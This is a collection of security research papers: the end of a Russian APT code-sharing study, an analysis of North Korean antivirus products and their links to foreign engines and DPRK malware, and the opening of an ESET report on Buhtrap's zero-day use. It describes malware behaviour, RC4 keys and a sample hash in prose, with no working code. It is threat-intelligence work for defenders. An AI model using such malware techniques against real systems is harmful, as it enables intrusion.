The connections we analyzed clearly showed that pieces of code such as functions, whole or partial module and, encryption schemes were shared between different teams and projects of the same actor. That means that different malware families of the same organization are sharing such code. This information may suggest that different teams, belonging to the same organization, are aware of each other’s work and operations. By sharing code with each other, the teams can save hundreds of man-hours and a lot of money. Instead of re-implementing capabilities that already exist, the teams can focus on other things and re-use the code.

Another benefit of using an existing code is that most likely, the code was tested in real-life cyber operations and the team that developed it had an experience of using and improving it. On the other hand, the price of sharing and re-using code is that when it gets caught by a security vendor or researchers, the shared pieces of code can be used to find new samples and families that are using the code. Thus, one detected family can make more operations fall apart.

Interestingly, our analysis and observations showed that when it comes to cross-actor connections, in the vast majority of times, different actors do not share code. None of the connections we analyzed indicated that some pieces of code are shared between two or more organizations. We find it very interesting and unexpected. While we can’t know for sure what brought the organizations in the Russian APT Ecosystem not to share code with each other, we can make some hypotheses.

A reasonable option can be that Russia, having one of the most advanced and strong cyber-espionage capabilities, is aware of the disadvantages of code-sharing that we listed above. By avoiding different organizations re-using the same tools on a wide range of targets, they overcome the risk that one compromised operation will expose other active operations, preventing a sensitive house of cards from collapsing. According to this assumption, Russia is willing to invest an enormous amount of money and man-power to write similar code again
and again, instead of sharing tools, libraries or frameworks, causing redundancy in this parallel activity. If this is true, this can indicate that Operational Security has a priceless meaning for the Russian actors.

Another hypothesis is that the different organizations do not share code due to internal politics. Since we are not familiar enough with the politics and the relationships between Russia’s intelligence organizations, this hypothesis should be taken with caution. After the dissolution of the Soviet Union, KGB’s SIGINT unit was succeeded by other special service organizations such as FSB and SVR. In addition to the successors of KGB’s signal intelligence functions, there is another organization — The Main Directorate of the General Staff of the Armed Forces of the Russian Federation, or in short — GRU. Out of these special services, the GRU likely possesses the finest technological and operational capabilities. Sharing the responsibility for cyber-espionage operations between several groups (which is not something rare) might cause problems such as miscommunication, redundant work, duplicate targets, and ego.

As briefly mentioned earlier, our research confirmed connections that were previously found by other security vendors. Some of these connections were proved before and others were only suspected. We are now able to back these claims with code-based evidence, such as Industroyer -TeleBots code connections discussed previously.

Finally, we concluded our research into two tools that we are publicly sharing with the research community. The Russian APT Map and the Russian APT Detector are thoroughly described in previous chapters in this article.

**Acknowledgments благодарности**

We want to thank our team leaders, Mark Lechtik and Ari Eitan, for accompanying us in this research, for helping a lot and for always giving interesting and important insights. We would also want to thank our colleagues from ESET for providing some of the samples. And last but not least is our colleague Paul Litvak, who helped us with the finishing of the APT Detector tool.
The North Korean AV Anthology: A unique look on DPRK’s Anti-Virus Market

Mark Lechtik & Ariel Jungheit / GReAT

Abstract

North Korea is a country known to strive for self-reliant economy. As part of that, a lot of its products are built and used exclusively within the country. Computer software, namely Antivirus programs, are no exception. One example outlined in a research from 2018 is Silivaccine, a known North Korean software to protect against foreign malware, which was indeed built in-house.

This concept is well demonstrated by Juche, North Korea’s official ideology postulating that by becoming self-reliant and strong, a nation can achieve true socialism. The practice of Juche is firmly rooted in the ideals of sustainability and lack of dependency. Despite that, it is criticized by many as a mechanism for sustaining the totalitarian rule of the regime, justifying the country’s ‘Isolationism’. For them Juche is merely a facade.
Introduction

Looking at the state of affairs regarding North Korea’s sustainability, we see that even within the Antivirus market the nation cannot live up to its own ideology — from standard usage of 3rd-party libraries to abuse of other vendor’s engines in their code, using foreign produce is a common practice. As we will outline in this research, several instances of this conduct can be witnessed by examining the products’ code-bases and signatures.

Furthermore, it is interesting to note that Silivaccine is not the only Antivirus created, and possibly used, within the DPRK. As it turns out, there is a wealth of such programs developed internally. In the course of a decade we could witness 5 different Antivirus solutions originating in North Korea, which are naturally well hidden from the rest of the world.

This is quite surprising for a country that is sanctioned for many years and generally lacks a lot of resources. Such sanctions by world powers were originally intended to push North Korea away from its nuclear program, and at the same time punish it for cyberattacks, money laundering and violation of human rights. It is hard to assess how well these sanctions did in achieving their goal, but at least in the realm of information security and defense the effect was opposite.

The figure below depicts the range of known Anti-Viruses between 2002—2014, however we can provide an insight only about a subset of them which were made available to us for analysis. The reason the timeline halts in 2014 is that we were not able to obtain any further software created past that year.

In the following sections we are going to take a brief tour through several of these Antiviruses outlining their architecture, commonalities, differences and other interesting caveats. As this paper is meant to give an overview on the discussed products, deeper analysis details are reserved for another document. Also, we are actively looking for missing Antiviruses from our collection, needless to say that we welcome any contribution from the readers to accomplish it.

![Figure 1. The timeline of known Antivirus products created in the DPRK](image-url)
Songsae

Songsae Antivirus (성새 ‘Castle’) was developed between 2003—2005 by "Kim Il Sung University". It appeared in 2 versions — one released in 2003 and the other in 2005, providing protection for both DOS and Windows operating systems. In this section we will discuss SongSae 2003, and particularly the parts of it that are compatible with Windows.

One of the first things notable about it is its very minimalistic user interface. Written in C++ using the MFC framework, the GUI is rendered from embedded HTML and JavaScript code with the help of the ActiveX technology. This is a rather outdated and uncommon way to write GUI, and may suggest that the developing team behind it was not highly experienced or acquainted with newer technologies.

Another point is the fact that all text in the product (including GUI strings and readme file) is written entirely in English. A possible explanation can be found in an analysis of North Korea's economic envoys in the early 2000's[1], indicating that the country was pushing towards expanded economic relationships with regards to their IT Technology, partly by holding exhibitions showcasing it (e.g. CeBIT in 2006).

Considering the above and having its readme file being signed off with the sentence "We are welcome to contact with other companies and expert groups", we are left to believe that the DPRK sought to create all kinds of partnerships with foreign vendors at that time. Having said that, we could observe that the subsequent Antiviruses slowly strayed away from English towards an exclusive usage of Korean.

In terms of capabilities, the Anti-Virus can scan memory, local and network drives as well as other 'low-level' parts of the disk (e.g. the boot sector and its components). Later on, in 2005, it also started to support the quarantine feature. The scanning is done based on signatures, which constitute a browsable virus database containing 1675 and 1836 records in versions 2003 and 2005 respectively.

![Figure 2. SongSae's main GUI screen](image-url)
Architecture

To be able to understand it a little better, we provide an outline of SongSae’s architecture, followed by an overview on each component. This should give the reader an idea of how the components inter-operate, and generally convey the software’s simplicity.

Components:

- **ssavmon.exe** — Process that manages the Antivirus’ tray menu application. This allows opening the main GUI by spawning a new ssav32.exe process, and enabling or disabling the real-time monitoring driver (ssavmon.sys).
- **ssav32.exe** — Main GUI menu. All windows and their graphics are rendered from HTML and JS code, which is made possible using ActiveX & MFC. Loads ssavtask.dll (contains the scanning logic) and ssutil.dll.
- **ssavmon.sys** — Real time monitor which intercepts file related activity. It checks if a file ends with *vir* or *kln* extensions, and if not conducts a series of static checks against it. If the file was detected by one of these, access to it will be avoided by assigning the corresponding action's IRP with the status 0xC00000F (STATUS_NO_SUCH_FILE).
- **ssavtask.dll** — The core scanning engine of the AV, implemented as an ActiveX control module.
- **ssutil.dll** — Exports the function SS_BrowseFolder, which makes use of SHGetSpecialFolderLocation to obtain various directory paths.
- **ssav_d.dat** — Patterns\signatures related file.
- **ssav_m.dat** — Patterns\signatures related file.
- **ssav_v.dat** — Patterns\signatures related file.
- **ssav_i.dat** — List of signature descriptions.
- **ssav_n.dat** — List of signature names (xored with 0x21).

![SongSae 2003 architecture](image-url)
Notes on the Signatures

Looking at the virus signature database file it’s apparent that the description for the viruses were copied from virus information summary lists written throughout the 1990’s, with the highest resemblance to Symantec’s Norton Anti-Virus signature file dated 1994. Although we weren’t able to conclude there was usage of any 3rd party software to create SongSae’s engine, the fact that virus descriptions were copied from other sources makes it plausible that the signatures themselves were copied as well.

Figure 4. Virus definition for ‘Chaos’ in Songsae 2003

Figure 5. Virus definition for ‘Chaos’ in Norton Antivirus 3.0 (1994)
KJAV

KJAV (Korean Juche-oriented Anti Virus) a.k.a “Singi” (신기) was developed by the Kim Chaek University of Technology in Pyongyang which is known to conduct projects for foreign companies. This was done partly in collaboration with Gwangmyong IT Center (“GeMyong Tech”), reportedly a spin-off of KCC (Korea Computer Center). This organization specializes in network software and security, developing Antivirus, data encryption, data recovery, and fingerprint software. KJAV has been in development since 2006 with Version 5.0 being released in 2012 and version 5.8 in 2014. According to news sources[2] it is still in development as of 2017, alongside a mobile version for smartphones.

KJAV introduces the option to scan files on hard disks and USB flash drives (including those that reside in archives), as well as to inspect network traffic for suspicious patterns that might be related to malicious activity. The latter is functionality that is not common to all North Korean Antiviruses, and enhances this one into a more complete security solution.

Having said that, there are only several network signatures we could witness, those were intended to catch a couple of worms — Conficker (W32.Net-Worm.Kido) which was a well known and widespread worm targeting MS08-67, and ChinaHacker (W32.ChnHacker.Email) which was used to spread via mass mail sent from each victim machine around 2002.

As for its engine, we assume that this Antivirus was developed almost entirely within the DPRK, given the fact that we haven’t observed any conspicuous indication of the contrary. This appropriates its name, as the Juche dictates independence. The only similarities that we did observe were with malicious binaries widely perceived to be developed in the DPRK, which we will outline in subsequent sections.

Much to our surprise, KJAV is a licensed product that requires a license costing the user 300₩ / Month (~0.25$) as portrayed in the figure below. The reported average annual income in North Korea according to a 2013[3] estimate is thought to be $1,000 to $2,000. This makes KJAV affordable for computer users across North Korea, indicating that it might serve as a home Antivirus solution.
Architecture

Once again, to get a better idea of the product we provide a brief overview of its architecture. This can be divided into 4 essential parts:

- Anti-Virus
- Host Based IPS & Update Utility
- Utilities
- Data Files

The components under each one are shown in the figure below and described in the subsequent paragraph.

![Architecture of KJAV](image)

**Figure 9. Architecture of KJAV**

**Components:**

1. **Anti-Virus**
   - **KjavWins.exe** — the main executable of the whole software suite. It contains all other components as resource binaries and deploys them in the system upon execution. The other part of it serves as a monolithic core component of the AV, containing the GUI (written using MFC), the scanning engine and hardcoded signatures. As KJAV appears to be licensed software and contains code for verifying user keys, this binary is protected with Themida.
   - **KjavBoot.sys** — a driver invoked during startup which deletes all files under the registry key \Registry\Machine\SYSTEM\CurrentControlSet\Control\Session Manager\DelFile.
• **KjavMon.sys** — modified version of a driver used in a legacy SysInternals tool named FileMon. This tool allowed monitoring file system activity, and later was combined with another deprecated tool named RegMon to create Process Monitor. In this case, the referenced version of filemon.sys is 4.28, dating to the year 2000, and intended to intercept file access so that the Antivirus can conduct real time monitoring of it before it is executed.

• **KjavRar.exe** — public command line version of WinRar 3.51.

• **KjavRar.dll** — public documented UnRar.dll, used for reading archive contents and decompressing .rar files. Also part of the WinRar software.

2. **Host Based IPS & Update Utility**

• **KjavUpdate.exe** — this is the main executable for this component of the AV, which registers a window class named “KjavUpdate” and carries out various functionalities upon receiving window messages. In this sense, its purpose is twofold — one is to serve as an update utility and the other is functioning as a host based network IPS.

   In the former case its able to receive window messages with update server IPs (or use a hardcoded fallback one, set to 10.250.2.33 — this was also used as the update server for SiliVaccine 2013), get commands to issue the current engine and signature files to a server and deploy new variants of these when received.

   The latter functionality allows real time monitoring of IP packets and their inspection against predefined network signatures. According to various strings in the binary, this part of the product was named NetVirusTracer by the authors.

   The inspection can be done in 2 ways — one is by using an existing Windows feature whereby a special callback can be registered to the ipfltldr.sys driver, allowing the OS to invoke this function each time an IP packet is processed.

   Another way is by utilizing a combination of WinPcap components which allow setting an optional capture filter and intercepting packets as they are passed through the system. During interception, packets are scanned against the network ruleset.

• **KjavFlt.sys** — a network filter driver which registers an IpFilter callback — a hook that gets executed each time an IP packet goes in or out of the system. The hook contains logic for scanning the packet against network signatures that reside in the “Kjav.3-” file.

• **WinPcap components** — these include npf.sys (Netgroup Packet Filter Driver), wpcap.dll, packet.dll and WanPacket.dll. All are 3rd party components which allow packet capture, injection, programmable filtering and monitoring. All of these work together to facilitate the creation of a host based network IPS as specified above.

3. **Utilities**

• **KjavSvr.exe** — can create or destroy a service named HdSvr, which upon request deletes files in startup folders containing “~.exe” as a substring in their name.

• **KjavShell.dll** — a COM class serving as a shell extension, which is used to register a context menu handler for KJAV. The entry in the context menu allows scanning a single file when right-clicking it.

4. **Data Files**

• **Kjav.1-** — main Antivirus signature file, containing both metadata on the currently deployed engine and version of the signatures, as well as the corresponding virus patterns.

• **Kjav.2-** — peculiar malformed DLL file (originally named PatchDll.dll) which is supposedly packed with UPX. It is impossible to run because of its format corruption, however it can be witnessed that KjavUpdate reads a field from its DOS header and fills it as data sent to the update server, under the parameter ‘DllUpdateDate’. On another instance, the file is overwritten with a part of the server response that is followed by the keyword ‘GetDllData’.
**Kjav.3** — network signature file, encoded with a single byte XOR (0xf8). In the case of the 2012 version we could find only one signature with the name W32.NetWorm.Kido, which is a name some vendors gave at the time to Conficker. In the 2014 version we found an additional signature corresponding to the ChinaHacker worm.

![DOS header of kjav.2- containing a field used during an HTTP request to the update server](image)

**Notes on Signatures**

One of the interesting signatures we could find inside the Antivirus was one intended to detect JML. This is a file infector that was developed around 1997 as part of a graduation thesis of a student named “Cho Myung-rae” at Mirim University about the militarization capabilities of the computer virus [4]. Named after Cho’s initials (alternatively spelled “Jo Myung-lae”) — Cho’s achievement was well acclaimed, forming a research group centered around it in North Korea’s Computer Technology Institute, where he served as a high-ranking military officer for years to come — according to an interview with a defector.

Cho soon became a decorated entity in North Korea, with Kim Jong-il awarding him for teaching him “the true value of computing” and ordering concentrated efforts to be given to promote research in the field. Cho’s achievements may have been overly exaggerated by the regime, and while this alone had little-to-none impact on the outside, it led the children of the elite seeing Hacking as a desirable career path. With mottos such as: ‘Developing viruses is the best way to secure important jobs’ and ‘cyber-warriors’ enjoying perks such as luxury apartments, virus development was perceived as a road to power rather than a crime.

As for JML’s functionality, it serves 2 purposes — one is spreading further via other executables on the local file system and network shares by scanning for files with the .exe extension, writing a piece of shellcode to them and redirecting execution to it by modifying the entry point. The shellcode will attempt to execute another malicious component and then resume execution to the original entry point. Another functionality allows looking for files in the infected machine and uploading them to a C2. Otherwise, further payload can be downloaded by it and executed. This is done via a predefined network protocol.

Around 2003, JML was discovered by “Ahn Cheol-soo” in South Korea. There exists some correlation between a file infector backdoor malware named Win32/Weird and JML [5]. Win32/Weird was first detected in July 1999 [6]. AhnLab changed a couple detection names from 'Win32/JML' to 'Win32/Weird' in 2003. Win32/Weird.b detected in 2002, was first reported in South Korea and has not been detected elsewhere at the time of the writing (neither Symantec nor McAfee have profiles on Win32/Weird.b). It’s worth noting that there’s a possibility that the date 1997 is incorrect and Cho may have modified Win32/Weird to create JML.

With the rise of computers in North Korea reaching ca. 4 Million (counting both official and personal) computers distributed throughout the country in 2013 [7], where half of them situated in Pyongyang, North Korea did not envision this rapid change and thus security had been loose.
The young computer students studying Cho’s thesis were developing new mutations of the virus which propagated through the state’s intranet, leading to North Korea sporadically being a target of accidental internal hacking attempts[^8]. This may well be the reason for finding multiple signatures attempting to detect JML within KJAV as of the 2012 version.

Despite the above, we can see a signature for JML existing in SongSae back in July 2003. According to external resources[^9] the JML virus spread outside of North Korea in early March 2003, and around that time we observed a signature for JML to exist only at AhnLab’s Antivirus. This could also suggest that while writing SongSae, the developers tried to observe which signatures existed in its South Korean counterpart.

Another signature that stands out is one prefixed with the string “KjavCrack”. As mentioned before, KJAV is licensed and therefore requires an activation key that is generated per device and is based on CPU & HDD related fields. As with a lot of other licensed programs, there will always be someone attempting to avoid paying the license fee and bypass its protection by cracking it or generating activation keys.

We’ve observed that KJAV contains a set of signatures looking for such scenarios, e.g. KjavCrack[^9], KjavCrack.KeyGen[^9], KjavCrack.Dll[^9], KjavCrack.Exe[^9], KjavCrack.Mem[^9], KjavCrack.Rebuild[^9]. This begs the question — why? Could it be that cracking scene inside North Korea exists, posing a threat to KJAV’s revenue? Surely such crime will be severely punished and is not worth saving the rather low monthly price of the license.

Taking this into consideration, there might be another plausible explanation. Although the appearance of KJAV outside of North Korea is scarce, it’s apparent that an older version has leaked. It could very well be the case that it was cracked by an external entity and made its way back to North Korea at some point. In turn, the developers might have considered such cracks to be potential threat or just wanted to avoid any abuse of their intellectual property domestically.

Apart from the above, the signatures of KJAV cover popular worm infectors of that time such as Virut, Sality and Conficker. Considering the JML testimony, it may very well be that other file infectors circumvented inside North Korea’s computer systems, either by studying and attempting to modify said malware in order to weaponize it or simply by accidently getting infected due to poor security practices.
Code Similarity

Another interesting point about KJAV concerns code similarity that was found between one of its components and pieces of malware, some of which are attributed to North Korea. By comparing the Antiviruses' binaries against a large set of malicious binaries, we were able to locate 2 main similarities — one is between a C function in KjavUpdate.exe and Lazarus affiliated malware named Manuscrypt, and another between an unknown and supposedly proprietary library function in KjavUpdate and a malware called KimJongRAT.

As for the former, it seems that both KjavUpdate.exe and Manuscrypt share a very similar function for RC4 decryption. While RC4 relies on a rather simple algorithm, its implementation in this case is pretty unique such that we couldn't trace it back to any open source repository. Namely, we see a very similar flow of code, whereby all of the RC4 decryption steps (i.e. S-Box creation, key scheduling algorithm and pseudo-random generation algorithm) are resident within a single function, creating identical call flow graphs.

Figure 12. CFG similarity between KjavUpdate.exe and Manuscrypt's implementation of RC4
Apart from that there is usage of non-RC4 related fields in both functions. For example, both check for a global that indicates if an RC4 key was initialized. If it wasn’t, a hardcoded fallback key is used. This is outlined in the figure below.

![Image](image1.png)

Figure 13. Usage of hardcoded RC4 fallback keys in KjavUpdate.exe and Manuscript

On the same note, we can spot a usage of a very similar RC4 key in another malware named KimJongRAT. This malware, which was initially discovered and analyzed in 2013, was not officially attributed to North Korea until recently, when a fresh version of it was discovered in connection to the BabyShark malware, described by Unit42. While the structure of the malware’s key ('!@#$%^7', which is then modified to '~!@#$%^&') resembles that of KjavUpdate.exe (~!@#$514%^&*), the underlying RC4 implementation is different.

![Image](image2.png)

Figure 14. RC4 key used in KimJongRAT, which is similar to the one used in KjavUpdate.exe

Still it’s possible to find some code similarities between both binaries. In particular, we were able to spot overlaps in one C++ class which is in charge of HTTP communication. The implementation of this library component varies between those 2 instances, but still shares some similarities in its core functions as depicted in one example below.

![Image](image3.png)

Figure 15. Code similarity between two (supposedly) proprietary library functions in KimJongRAT and KjavUpdate.exe. Only difference appears to be in a referenced chunk size within an internal buffer.
Silivaccine

Silivaccine is yet another Antivirus produced in North Korea, which we could observe through 2 versions — one was released in 2005 (v2.0.0.1) and another in 2013 (v5.0). Both versions were created by “STS Tech Service” (also named 626 or Silibank[12]), which is a financial institution existing since 2001, believed[13] to work from the Chilbosan Hotel in Shenyang. An interesting caveat is that this is reportedly the base of operations for North Korea’s Unit 121 (Electronic Reconnaissance Bureau’s Cyber Warfare Guidance Bureau) which hand-picks hackers graduating from Mirim University, according to reports[14] by defectors and the US military.

The 2013 version was also being developed in conjunction with an entity named PGI (Pyonyang Gwangmyong Information Technology), the same entity that collaborated on KJAV.

Since the 2013 version was a subject of a thorough research done by Check Point in 2018[15], we will not reiterate those but mention the main findings — the fact Silivaccine used a ripped-off Trend Micro engine (vsapi32.dll) and the fact it was done in a way that suggests the authors might have had access to Trend Micro proprietary resources when writing their version of the engine.

![Silivaccine GUI](image)

**Figure 16. Main GUI window for Silivaccine 2005**

The 2005 version shares a lot of similarities with its newer version, more specifically a lot of the components are analogous (e.g. SVUpdate.exe, SVDealer, SVTray.exe, SVShell.exe etc.) and the architecture is somewhat similar. Much like its successor, v2.0.0.1 used a Trend Micro engine, only this one appeared as a driver named SVKernel.sys which was based on a Trend Micro driver named vsapint.sys.

Once again it is possible to see that there is 100% similarity in a great number of functions (~500, which is about 20% of Silivaccine’s engine code) between the two engines, while a lot of the rest being proprietary North Korean code. This suggests that as in the 2013 version, the developers didn’t use the engine “as is” but rather rewrote their own version using parts of the original.
The 2013 version had some features that could not be found in the 2005 version. One of them is the way some of the binaries are packed. While in 2013 there was usage of Themida to protect various Antivirus components, the earlier version used a much simpler protector. That protector seems to be a homebrewed one, which would encode functions chosen by the developer at compile time. This is evident by seeing each encoded part preceded with a simple stub function that pops a message box with the string "Start Proc%d!" (where %d would be some integer value), and followed by a similar stub with a string of the format "EndProc%d!".

The algorithm for decoding each piece of code is quite straightforward and incomparable to Themida’s level of obfuscation. It is by no means an encryption algorithm (as there is no key) and can be easily decoded given nothing but the encoded blob. The decoding function is being called during startup, i.e. invoked from the binary’s entry point, and it has the logic outlined in the figure below. In this sense, Silivaccine has made tremendous progress between 2005 and 2013.
Apart from that, it’s interesting to note that some features existed in the early version but were removed later on. A notable component that existed in Silivaccine 2005 is called SVCharge (comprised of an executable and a DLL with the same name) which is intended to provide a real-time scan functionality for mail attachments as well as files downloaded from the internet. This was achieved by setting up a window hook of type WH_CBT\[16\] from SVCharge.dll, which would get invoked by the system before various window events (e.g. creating, closing, minimizing, maximizing a window etc.). When the hook function runs, it would execute in the context of the window’s process, hence it can query the process image name and see if it corresponds to that of Outlook \ Outlook Express or Internet Explorer.

In either one of these cases the window hook will check and load the SVCharge.dll to the process (if not already loaded), and then install a hook function for WSOCK32.dll’s connect function. When connect’s hook is invoked, it checks the function arguments to verify if the outgoing port is 80 or 110 (HTTP or POP3 accordingly), and in each case gathers some information on the connection. This gets sent via a window message to the SVCharge window, which runs in the context of SVCharge.exe. The latter can intercept the connection via a POP3 local server or a proxy server set-up for inspection beforehand.

This functionality is interesting mainly for the fact that it’s intended to intercept mail and web traffic and due to the fact that the underlying engine and signatures come from Trend Micro, which would mostly detect malware that is common outside of the DPRK. It makes it plausible to assume that the threats caught by such real time monitoring would be ones found in internet traffic, rather than in the home based intranet.

In this case it would raise the question as to who might use this software, given that access to the internet in North Korea is highly restricted. As it is assumed that users with unlimited access to the internet are high ranking officials, members of NGOs or government ambassadors, we can speculate that Silivaccine is intended for ‘enterprise’ use (e.g. by universities, military and other government institutions).
Kulak

Kulak is probably the longest standing Antivirus in the North Korean industry. Developed by Kim Il Sung University and the Ministry of People’s Security (North Korea LEA), Kulak started its way as a DOS based software, which quickly evolved into a Windows based one. Specifically, we were able to trace 3 versions released in 2002, 2007 and 2012, both from openly-available resources and actual installers in our possession.

One of the main observations that can be made with regards to Kulak is that it’s more advanced than its counterparts in architecture and sophistication, and seems to be overall a more solid security product. This partially reminds of Silivaccine, which is also quite complex at a glance, as having a Trend Micro based engine is by far more advanced than those of Songsae and KJAV.

Considering this, it may not come as a surprise that Kulak also makes use of a third party engine, at least in its 2012 version. In this case, the abused engine is that of Dr.Web, a long standing and prominent manufacturer of security software from Russia. Kulak’s counterpart engine was named K1core.dll, and by tracking particular functions which provide metadata on the engine, it’s possible to conclude that it’s based on version 4.29 of the drweb32.dll library.

Another prominent similarity was witnessed between a Dr.Web user mode component named spidercpl.exe (referred to as Spider Guard) and a Kulak driver named Klhook.exe (internally referenced as Kulak Protect). The former serves as a real time monitoring component, intended to scan process memory and opened files upon access. It’s Kulak counterpart is apparently made to make the same, achieving it via the kernel space. Following are a few examples for some of the similarities between them.
The North Korean AV Anthology: A unique look on DPRK’s Anti-Virus Market

Figure 21. Comparison of a proprietary function call flow graph in SpiderCpl and Klhook

Figure 22. Comparison of some used strings in SpiderCpl and Klhook. As we can see in the Klhook sys, some are changed from ‘Spider Guard’ to ‘Kulak Protect’

Figure 23. Function checking for a signature file string artifact in SpiderCpl.exe and Klhook.sys. Note that Kulak is actually looking for a Dr.Web string
Like in the case of Silivaccine, we are able to witness some evidence pointing towards the fact that the engine was built using a proprietary resource. In this case, we can look at calls to RtlAssert to see the path from which the driver was compiled. It is evident that the underlying source file belongs to Kulak.

As for the question on how the Dr.Web engine and monitor components found their way into Kulak, there are several speculations that come to mind. For instance, it’s possible that a Dr.Web technology which was previously licensed to a South Korean company named NWI was leaked in some form to the North.

At the same time, it’s hard to explain how SpIder Guard code got incorporated into a driver that was supposedly compiled from a North Korean code base. In that case, it is possible that there was some leak of proprietary resources belonging to Dr.Web that could aid the North Korean developers when building this component.

Either way, we can’t indicate what happened in reality without a shadow of a doubt. Instead, it is worth noting that whatever the scenario might have been, Kulak provides more evidence that North Korea is not entirely independent when creating their own programs, but in some cases is heavily reliant on foreign produce.

**Summary**

Within a decade we observed 5 unique Antivirus solutions being developed by at least 6 entities — some seem to be educational facilities (e.g. Kim Il Sung, Chaek and Mirim Universities), others appear as government owned entities (e.g. Ministry of People’s Security, PGI and STS Tech-Service). Such a great investment in an internal security product may not be surprising given the fact that the country is heavily sanctioned and limited in resources. This is exactly what is portrayed in DPRK’s own ideology — Juche, in which the main values are unity, independence and self-reliance.

In spite of this, we can see that these values are not reflected from the products that we analyzed. In a few instances we observed usage of 3rd party engines and signatures belonging to big vendors who claim to have no formal ties to North Korea. This suggests that the DPRK is in more need of foreign produce and financial connections than it is willing to admit.

In terms of progress, it is possible to observe an evolution in the development capabilities of North Korean programmers. While the earlier AVs had a rather simple architecture and often bulky code, the later products seem more orderly and rich in features. This is no surprise, especially in cases in which products were built around an external engine. This required a great deal of attention to the engine’s internals so that the in-house built components will properly inter-operate with it.
On the same note, we could witness a development in software protections used to burden the analysis of the Antiviruses’ components. The first product we described — SongSae version 2003, contained no protection whatsoever, while Silivaccine 2005 was already protected by a rudimentary homebrew protector. Starting from at least 2012 (with KJAV 5.0) all products were protected using Themida, which introduced a fairly high level obstacle when attempting to reverse engineer them.

Analysing these Themida packers we observed two licenses in use. One was shared between KJAV 5.0, 5.8 and Kulak 3.2, and the other used in Silivaccine 2012. This reuse of software may either suggest that the North Korean developers referred to same resources to obtain it or possibly cooperated to some extent when writing the products.

Furthermore, hunting for other programs using these licenses, we could find both legitimate software as well as more questionable ones (e.g. Chinese phone tools, games and game NoCD patches). We conclude that these licenses were leaked by looking at the detection rate of other packed programs, since once a license leaks “Antivirus companies will blacklist that Taggart signature” — according to ‘Oreans’, the company behind Themida.

To sum things up, we will note that this research is still a work in progress. As Antivirus software contains a lot of code, there are still a lot of details and information to go through. These could provide further insights on top of the ones presented in this paper. We intend to keep investigating the software we gathered so far, with the hope of obtaining new ones to expand our understanding of the subject. Any fresh observations and expanded detail will hopefully be published in separate documents.
Buhtrap metamorphosis: From cybercrime to cyberespionage

Anton Cherepanov & Jean-Ian Boutin / ESET

Abstract

The Buhtrap group is well known for its targeting of financial institutions and businesses in Russia\(^1\). However, since late 2015, we have witnessed an interesting change in its traditional targets. From a pure criminal group perpetrating cybercrime for financial gain, its toolset has been expanded with malware used to conduct espionage in Eastern Europe and Central Asia. Throughout our tracking, we’ve seen this group deploy its main backdoor as well as other tools against various victims, but June 2019 was the first time we saw the Buhtrap group use a zero-day exploit as part of a campaign. In that case, we observed Buhtrap using a local privilege escalation exploit, CVE-2019-1132, against one of its victims.

The exploit abuses a local privilege escalation vulnerability in Microsoft Windows, specifically a NULL pointer dereference in the win32k.sys component. Once the exploit was discovered and analyzed, it was reported to the Microsoft Security Response Center, who promptly fixed the vulnerability and released a patch.

\(^{1}\) Anton Cherepanov is currently working at ESET as Senior Malware Researcher; his responsibilities include the analysis of complex threats. He has done extensive research on cyber-attacks in Ukraine. His research was presented on numerous conferences, including BlackHat USA, Virus Bulletin, CARO Workshop. His interests focus on reverse engineering and malware analysis automation.

Jean-Ian Boutin is leading the Threat Research department at ESET. Boutin investigates trends in malware, reverse-engineers binaries and finds effective techniques to counter new threats. He has presented at several security conferences, including Black Hat, REcon, BlueHat, Virus Bulletin and ZeroNights.
History

The timeline in Figure 1 highlights some of the most important developments in Buhtrap activity.

2014 April
First sighting of Buhtrap main backdoor used against Russian businesses

2015 Fall
Change of focus to target financial institutions directly

2015 December
Buhtrap backdoor detected in governmental institutions

2016 February
Buhtrap source code leak

2019 June
Usage of a zero-day against a governmental institution

Figure 1. Important events in Buhtrap timeline

It is always difficult to attribute a campaign to a particular actor when their tools’ source code is freely available on the web. However, as the shift in targets occurred before the source code leak, we assess with high confidence that the same people behind the first Buhtrap malware attacks against businesses and banks are also involved in targeting governmental institutions.

Although new tools have been added to their arsenal and updates applied to older ones, the tactics, techniques and procedures (TTPs) used in the different Buhtrap campaigns have not changed dramatically over all these years. They still make extensive use of NSIS installers as droppers and these are mainly delivered through malicious documents. Also, several of their tools are signed with valid code-signing certificates and abuse a known, legitimate application to side-load their malicious payloads.

The documents employed to deliver the malicious payloads often come with benign decoy documents to avoid raising suspicions if the victim opens them. The analysis of these decoy documents provides clues about who the targets might be. When Buhtrap was targeting businesses, the decoy documents would typically be contracts or invoices. Figure 2 is a typical example of a generic invoice the group used in a campaign in 2014.

Figure 2. Decoy document used in campaigns against Russian businesses
When the group's focus shifted to banks, the decoy documents were related to banking system regulations or advisories from FinCERT, an organization created by the Russian government to provide help and guidance to its financial institutions (such as the example in Figure 3).

Hence, when we first saw decoy documents related to government operations, we immediately started to track these new campaigns. One of the first malicious samples showing such a change was noticed in December 2015. It downloaded an NSIS installer whose role was to install the main Buhtrap backdoor, but the decoy document — seen in Figure 4 — was intriguing.

Figure 3. Decoy document used in campaigns against Russian financial institutions

Figure 4. Decoy document used in campaigns against governmental organizations
The URL in the text is revealing. It is very similar to the State Migration Service of Ukraine website, dmsu.gov.ua. The text, in Ukrainian, asks employees to provide their contact information, especially their email addresses. It also tries to convince them to click on the malicious domain included in the text.

This was the first of many malicious samples we encountered being used by the Buhtrap group to target government institutions. Another, more recent decoy document that we believe was also distributed by the Buhtrap group is seen in Figure 5 — a document which would appeal to a very different set of people, but still government-related.

![Figure 5. Decoy documents used in campaigns against governmental organizations](image)

**Analysis of the targeted campaigns leading to zero-day usage**

The tools used in the espionage campaigns were very similar to those used against businesses and financial institutions. One of the first malicious samples we analyzed that targeted governmental organizations was a sample with SHA-1 hash 2F2640720CCE2F83CA2F0633330F13651384DD6A. This NSIS installer downloads the regular package containing the Buhtrap backdoor and displays the decoy document shown in Figure 4.

Since then, we’ve seen several different campaigns against governmental organizations coming from this group. In these, they were routinely using vulnerabilities to elevate their privileges in order to install their malware. We've seen them exploit old vulnerabilities such as CVE-2015-2387. However, they were always known vulnerabilities. The zero-day they used recently was part of the same pattern: using it so that they could run their malware with the highest privileges.

In June 2019 we identified a zero-day exploit being used together with the Buhtrap backdoor in a highly targeted attack in Eastern Europe.

The exploit abuses a local privilege escalation vulnerability in Microsoft Windows, specifically a NULL pointer dereference in the win32k.sys component. Once the exploit was discovered and analyzed, it was reported to the Microsoft Security Response Center, who promptly fixed the vulnerability and released a patch.
Exploitation

